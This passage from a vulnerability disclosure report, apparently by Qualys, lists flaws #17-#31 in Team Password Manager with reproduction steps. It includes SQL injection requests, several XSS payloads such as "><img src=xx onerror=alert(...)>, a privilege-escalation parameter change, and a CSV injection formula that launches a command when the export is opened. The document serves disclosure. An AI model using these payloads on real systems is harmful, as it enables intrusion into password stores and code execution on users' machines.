                      [file] => /var/www/html/tpm/wmm/controllers/users.php
                      [line] => 1716
                      [function] => my_error_handler
                      [args] => Array
                               [0] => 8
                               [1] => Undefined index: 18''
                               [2] => /var/www/html/tpm/wmm/controllers/users.php
                               [3] => 1716
                               [4] => Arrav
                                        [id] => 24
                                       [data] => Array
                                                [user_data] => Array
                                                     (
                                                         [id] => 24
                                                         [username] => a
[email] => a@acd.com
                                                         [password] => %V4$2a$11$yt90f9EfXn6IxFm8T.Vn.etsq8tBJJKICwLCnUCo2ywx8KpEmZVnS
                                                         [name] => test
```

## Vulnerability #17: SQL Injection on Edit Group page

SQL Injection found on Edit Group page. By changing the \$ user parameter in Request, causes the application show error message in browser.

## **RISK FACTOR:** Low

URL: <u>http://<server\_ip>/<tpm path>/index.php/groups/add\_to\_group/<group\_id></u>

#### Parameter: user

#### How to Reproduce:

- 1. Go to User/Group tab and open any group data.
- 2. Click on 'Add the User to Group' button.
- 3. Select the user to be added in that group.
- 4. Click on "Save"

5. In Burp modify the user parameter like below:
POST /tpm/index.php/groups/add\_to\_group/19 HTTP/1.1
Host: 192.168.250.81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.250.81/tpm/index.php/groups/add\_to\_group/19
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Cookie: PHPSESSID=72v159966170vdb4rh8me4clo3; TPM\_LANG=fffffffff
Connection: close
Upgrade-Insecure-Requests: 1

#### 6. Following is the Response of above query:

There has been the following exception, please send it to Team Password Manager support (http://teampasswordmanager.com/support/):

```
ErrorException Object
    [message:protected] => Undefined index: 8'
    [string:Exception:private] =>
    [code:protected] => 8
[file:protected] => /var/www/html/tpm/wmm/controllers/groups.php
[line:protected] => 496
    [trace:Exception:private] => Array
             [0] => Array
                 (
                       [file] => /var/www/html/tpm/wmm/controllers/groups.php
                       [line] => 496
                       [function] => my_error_handler
                       [args] => Array
                                [0] => 8
                                [1] => Undefined index: 8'
                                [2] => /var/www/html/tpm/wmm/controllers/groups.php
[3] => 496
                                [4] => Array
                                    (
                                         [id] => 19
                                         [data] => Array
                                              (
                                                  [group_data] => Array
                                                            [id] => 19
                                                            [name] => "><img>''
                                                           [created_on] => 2018-03-07 17:36:07
[created_by] => 1
                                                           [updated on] => 2018-03-07 20:08:21
```

## Vulnerability #18: Privilege Escalation – Default Language

Any authenticated User can change default language of 'Admin'. A Read-only user also can change the default language of admin user.

#### **RISK FACTOR: Low**

**URL:** <u>http://<server\_ip>/<tpm path>/index.php/user\_info/clang</u>

- 1. Login to application with any other than admin role user (A read-only user can also change default language.)
- 2. Go to its setting page, and click on Change language button.
- 3. Change the user\_id parameter to '1' (assuming admin user will always have user\_id as '1') and new\_lang parameter to any arbitrary value, in the Request as shown below:



4. Now the default language of 'admin' user has been set to 'AAAAAAAAAAA', as shown below:

Data Log API Keys		
Username: E-mail address: Name: Role:	admin admin Admin	
Language: Groups:	AAAAAAAAAA - (No description) Change Language	
Last Signed in: Mar 5, 2018 16:23 Created on: Feb 27, 2018 08:31 By: admin	Last API request: Updated on: By:	- Mar 5, 2018 16:23 ro

## Vulnerability #19: Self Reflected Cross-site Scripting – Password Tag

Self Reflected Cross-site Scripting vulnerability found in Password Tag field. A user can create new/modify Password.

## **RISK FACTOR: Low**

- 1. Click on new password.
- 2. Select Parent Project.
- 3. Add following in Tag field: "><script>alert('xss')</script>,
- 4. It will show alert box

New Password Project: userenumprojec	t	
Name (required)		]
Tags	<pre>"&gt;<script>alert('xss')</script> Use a cd xss</pre>	
BASIC DATA	Prevent this page from creating additional dialogs      OK  Example	]
💄 Username		]
🖂 E-mail		]
🔑 Password		🔒 🍇 Show
🔑 Repeat password		
Tronin - data		Cancel Save

# Vulnerability #20: Self Reflected Cross-site Scripting – Project Tag

Self Reflected Cross-site Scripting vulnerability found in Password Tag field. A user can create new/modify Password.

## **<u>RISK FACTOR:</u>** Low

- 1. Click on new Project.
- 2. Add following in Tag field: "><script>alert('xss')</script>,
- 3. It will show alert box

New Project In: (Root)		
Name (required)		
Tags	"> x "> <script>alert(xss')</script>	
	Use a comma (,) ist xss	
	ОК	
		Cancel Save

## Vulnerability #21: Self Reflected Cross-site Scripting – My Password Tag

Self Reflected Cross-site Scripting vulnerability found in Password Tag field. A user can create new/modify Password.

### **RISK FACTOR: Low**

#### How to Reproduce:

- 1. Click on "My Passwords".
- 2. Click on "New Password"
- 3. Add following in Tag field: "><script>alert('xss')</script>,
- 4. It will show alert box

My Account My Settings My Paa	swords	
New Password	Search	My Pasywords
All Passwords c	New Password	
	Name *	
	Tags	The script alert (cas) (/acript-
		Use a comma () for new tags. "Tab" for selecting from t
	C.C.	Examples: http://wite, ttp://p-address, manual login
	1 Usemame	
	E-mail	
	Password	A ~ 📼
	🔎 Repeat password	
	Notes	
		It = required fields 🔮 = this information is saved encrypted
		Save Cancel

## Vulnerability #22: Insecure Session Handling

User can access already established session from blocked IP and until user logs out. Application allows user to access already established session in following two conditions:

- 1. If session is accessed from Blocked IP.
- 2. If Logged in User's Access changed to API Only.

## **RISK FACTOR: Low**

#### How to Reproduce:

#### Session is accessible from Blocked IP:

- 1. Login to application using any of the users from one browser.
- 2. Login to application using 'admin' user from different machine.
- 3. Go to 'IP Address Blocking' page in 'Settings' tab.
- 4. Click on 'New IP Block' Button
- 5. Add the IP of machine from which user is logged in Step 1.
- 6. The already established session of user in Step 1 will be accessible until, the user gets logs out.

#### Session is accessible to API Only User:

- 1. Login to application using any of the users from one browser.
- 2. Login to application using 'admin' user from different machine.
- 3. Go to 'Users/Groups' tab.
- 4. Go to User's setting page which is which logged-in in Step 1.
- 5. Click on 'Set as API only User' Button
- 6. The already established session of the same user in Step 1 will be accessible until, the user gets logs out.

## Vulnerability #23: SQL injection on Edit Group page

Application does not sanitize **group\_id** parameter value before sending it to backend database. Due to that it is possible to inject arbitrary data in backend database.

The application is vulnerable but this issue looks like non-exploitable as only "DOUBLE" values are allowed which is not helpful for exploitation purpose. During our assessment this issue was not exploited.

## **RISK FACTOR: Low**

#### How to Reproduce:

## Note - Reproducible with TPM Free Version With PHP 5.6.34-1

$\overleftarrow{\bullet}$ $\overleftarrow{\bullet}$	③ 10.113.192.	89/tpm/index.php/groups/edit/1	👽 🏠 🔍 Search
Home Home	🕵 Users / Groups 📑 Log	§ Settings	
		You're using the FREE VERSION of Team Password Manager, which only Click here for more users and pro	y allows you to have 2 users and 5 projects. Jects
Users Groups	3		
New Group		Search Groups	
All Groups 2		Edit Group: user1group1	
		Name * user1group1 * = required fields	
		Save Cancel	
Team Password M	anager - teampasswordmanager.com	EULA and other licenses - Helo - Advanced Search Helo	

Request:

POST /tpm/index.php/groups/edit/1 HTTP/1.1 Host: 10.113.192.189 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.113.192.189/tpm/index.php/groups/edit/1 Content-Type: application/x-www-form-urlencoded Content-Length: 76 Cookie: PHPSESSID=jtna108jjr1lrvmqac3stqh2p4 Connection: close Upgrade-Insecure-Requests: 1

## csrft=4f9d26cbf09a626e71e5e621381cd3080fe3f728&group\_id=1'&name=user1group4

#### Response:



There has been the following exception, please send it to Team Password Manager support (http://teampasswordmanager.com/support/):

\_\_\_\_\_

**Exception Object** 

#### (

```
[message:protected] => Truncated incorrect DOUBLE value: '1"
[string:Exception:private] =>
[code:protected] => 500
[file:protected] => /var/www/html/tpm/wmm/core/MY_Exceptions.php
[line:protected] => 77
[trace:Exception:private] => Array
   (
   [0] => Array
   (
   [0] => Array
   (
   [0] => Array
   (
   [0] => Array
   [0]
```

```
[file] => /var/www/html/tpm/system/database/DB_driver.php
            [line] => 1197
            [function] => show_error
            [class] => MY_Exceptions
            [type] => ->
            [args] => Array
              (
                 [0] => A Database Error Occurred
                 [1] \Rightarrow Array
                   (
                      [0] => Error Number: 1292
                      [1] => Truncated incorrect DOUBLE value: '1"
                      [2] => UPDATE `wmm_groups` SET `name` = 'user1group4', `updated_by` = '1',
updated_on = '2018-03-09 15:27:45' WHERE 'id' = '1''
                      [3] => Filename: /var/www/html/tpm/models/m grp.php
                      [4] => Line Number: 107
                   )
                 [2] \Rightarrow \operatorname{error}_{db}
              )
         )
       [1] \Rightarrow Array
         (
            [file] => /var/www/html/tpm/system/database/DB driver.php
            [lin
...
```

# Vulnerability #24: Insecure Password Link Sharing

The External Password Sharing feature is implemented insecurely. Following implementations are missing:

- 1. External Password link remains same even after changing password.
- 2. External Password Sharing has no timeout implemented.

## **RISK FACTOR:** Low

## How to Reproduce:

## External Password link remains same even after changing password:

- 1. Go to 'Password' of any of the project.
- 2. Enable the 'External Sharing' feature. This will generate one URL which can be shared with anyone who can access this application.
- 3. Now Change the password.
- 4. Access the above mentioned link, it will show the changed password.

Ideally if password is changed then the old link should get discarded/replaced with new sharing link.

## Vulnerability #25: Self Reflected Error based Cross-site Scripting

Custom field label is vulnerable to cross-site Scripting vulnerability.

## **RISK FACTOR: Low**

### How to Reproduce:

- 1. Go to a Project. Click C.F. Template
- 2. Add custom field label as <*img src=x onerror=alert('Email-field')*>
- 3. Select Type as email & Save it
- 4. Click New Password.
- 5. Add any Invalid email address in the custom email field. Click on Save.

New Password Project: <img src="&lt;/th"/> <th>-x onerror=alert('Project-XSS')&gt;</th> <th></th> <th></th>	-x onerror=alert('Project-XSS')>		
	The Name field is required. The 🔛 field must contain a valid email address.		-
Name (required)			
Tags	Tag		
	Use a comma (,) Email_field ist		
BASIC DATA	ОК		
	Examples: http://site, ftp://ip-address, manual login		
L Username			
🖂 E-mail			
🔑 Password		🔒 🍇 Show	
🔑 Repeat password			~
		Cancel Save	

# Vulnerability #26: Self Reflected Cross-site Scripting - Search Box

Custom field label is vulnerable to self only cross-site scripting vulnerability.

### URL: http://192.168.250.81/tpm/index.php/settings/cft\_list

Parameter: search\_box

## **RISK FACTOR: Low**

#### How to Reproduce:

- 1. Open <u>http://192.168.250.81/tpm/index.php/settings/cft\_list</u> (search templates)
- 2. Add payload in search box "><img src=xx onerror=alert(2)>

Overview Version checker Licenses Export / import Email Two-Factor Auth. IP address blocking Pwd. generator	Custom Field Templates Default template for new passwords: (none) Set default template	
LDAP authentication Timeout Encrypt DB Config API Expiration	New template There are no templates with the current search terms.	2 ОК
C. Field Templates External Sharing Languages		
am Password Manager - teampasswordmanager.c	com • EULA and other licenses • Help • Advanced Search Help	

# Vulnerability #27: Self Reflected Cross-site Scripting - IP Address Blocking Configuration

IP Address Blocking functionality is vulnerable to self reflected cross-site Scripting vulnerability.

URL:

http://192.168.250.81/tpm/index.php/settings/ipb\_list

http://192.168.250.81/tpm/index.php/settings/ipb\_filtert/m

http://192.168.250.81/tpm/index.php/settings/ipb\_filtert/a

Parameter: search\_box

## **RISK FACTOR: Low**

#### How to Reproduce:

- 3. Open above mentioned URL in browser
- 4. Add payload in search box respectively
- "><img src=xx onerror=alert("ip\_filter\_manul")>

"><img src=xx onerror=alert("ip\_filter\_automatic")>
"><img src=xx onerror=alert("ipb\_list")>



$\leftrightarrow$ × $\textcircled{0}$ $\textcircled{0}$ 1	92.168.249.107/tpm/index.php/settings/ipb_list	目 … ♥ ☆
Home 🛃 Users / Gro	ups 📑 Log 🛞 Settings	
Overview Version checker Licenses Export / import	IP Adress Blocking Configuration Your IP address: 192.168.250.70	
Email Two-Factor Auth. IP address blocking Pwd. generator LDAP authentication Timeout Encrypt DB Config API	Blocked IP Addresses Automatic Blocking New IP to block The IP address Note that block blocked.	ip_filter_manul OK n of Team Password Ma ng validation is done only at the "Sign in" screen, so users already
Expiration C. Field Templates External Sharing Languages	All IPs 1 There are no IPs Search results 0 Filter by Type: Manual 1 Automatic 0	s with this filter or search.

$\rightarrow$ × $\mathbf{\hat{u}}$ $(\mathbf{\hat{v}})$	192.168.249.107/tpm/index.php,	/settings/ipb_list		E (
Home 🥵 Users / G	Groups 📑 Log 🎲 Settings			
Overview				
Version checker	IP Adress Blocking	g Configuration		
Licenses Export / import	Your IP address: 192.168	.250.70		
Email				
Two-Factor Auth.	Blocked IP Addresses	Automatic Blocking S	ip_filter_automatic	
IP address blocking				
Pwd. generator	New IP to block			ch IPs
LDAP authentication			OK	
Timeout		The IP addresse	lidation is done only at the "Sign	in" screen, so users a
Encrypt DB Config		blocked.		
API				
Expiration		Thora are no IPs with	this filter or search	
C. Field Templates	All IPs 1	There are no ins with	this miter of search.	
External Sharing	Search results 0			
Languages	Filter by Type:			
	Manual 1			
	Automatic 0			

Vulnerability #28: Self Reflected Cross-site Scripting - Log Filter

Log filter fields are vulnerable to self only cross-site scripting vulnerability.

URL: http://192.168.249.107/tpm/index.php/alog

Parameter: password, project, ip\_address, additional

### **RISK FACTOR: Low**

- 1. Open filter box on http://192.168.249.107/tpm/index.php/alog
- 2. Add payload in above mentioned fields "><img src=xx onerror=alert(111)>

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Additional Data	" maxlength="200" autocomplete="off" style="min-height: 30px" />		
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# Vulnerability #29: Self Reflected Cross-site Scripting - User Search Box

User search box is vulnerable to self only cross-site scripting vulnerability.

URL: http://192.168.250.81/tpm/index.php/users

Parameter: search\_box

## **RISK FACTOR: Low**

- 1. Open http://192.168.249.107/tpm/index.php/users (search box).
- 2. Add payload in search box "><img src=xx onerror=alert("search\_users")>



# Vulnerability #30: Self Reflected Cross-site Scripting - Group Search Box

Group search box is vulnerable to self only cross-site scripting vulnerability.

URL: http://192.168.249.107/tpm/index.php/groups

Parameter: search\_box

## **RISK FACTOR: Low**

- 5. Open http://192.168.249.107/tpm/index.php/groups (search groups)
- 6. Add payload in search box "><img src=xx onerror=alert("search\_group")>

168.249.107/tpm/index.php/groups		🛡 t
s 📑 Log 🍈 Settings		
		Search Groups
There are no groups with this filter or search.	search_group	
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# Vulnerability #31: CSV Injection Vulnerability

Application provides functionality to export data in CSV format. This exported data is not sanitized before adding into CSV files. This leads to CSV injection vulnerability.

Attacker can inject malicious code into application data which will execute malicious code on user machine when user open downloaded CSV file.

URL: http://192.168.249.107/tpm/index.php/settings/view/export\_import

## **RISK FACTOR: Medium**

- 1. Go to any Project
- 2. Add new Password
- Add following payload in any of the password fields: =cmd|' /C calc'!A0

test Project 🖭	Ś
Edit         Notes         Upload File         Custom Fields         Security         Locking         Ext. Sharing         Duplicate         Copy         Move         Delete	
Data Security History Log	
Lusername: =cmdi' /C calc'IA0 🝙	

- 4. Go to 'Settings'.
- 5. Click on 'Export Passwords' button in 'Export / Import'
- 6. Select the Project in which above password is added.
- 7. Export passwords of the mentioned projet.

8. Open Exported file in 'Excel', the payload will get executed on user's machine and it will open 'Calculator' as shown in screenshot



#### **CREDITS:**

The discovery and documentation of this vulnerability was conducted by Qualys Application Security and Research Team (QUASAR).

#### **CONTACT:**

For more information about the Qualys Security Research Team, visit our website at http://www.qualys.com or send email to quasar@qualys.com

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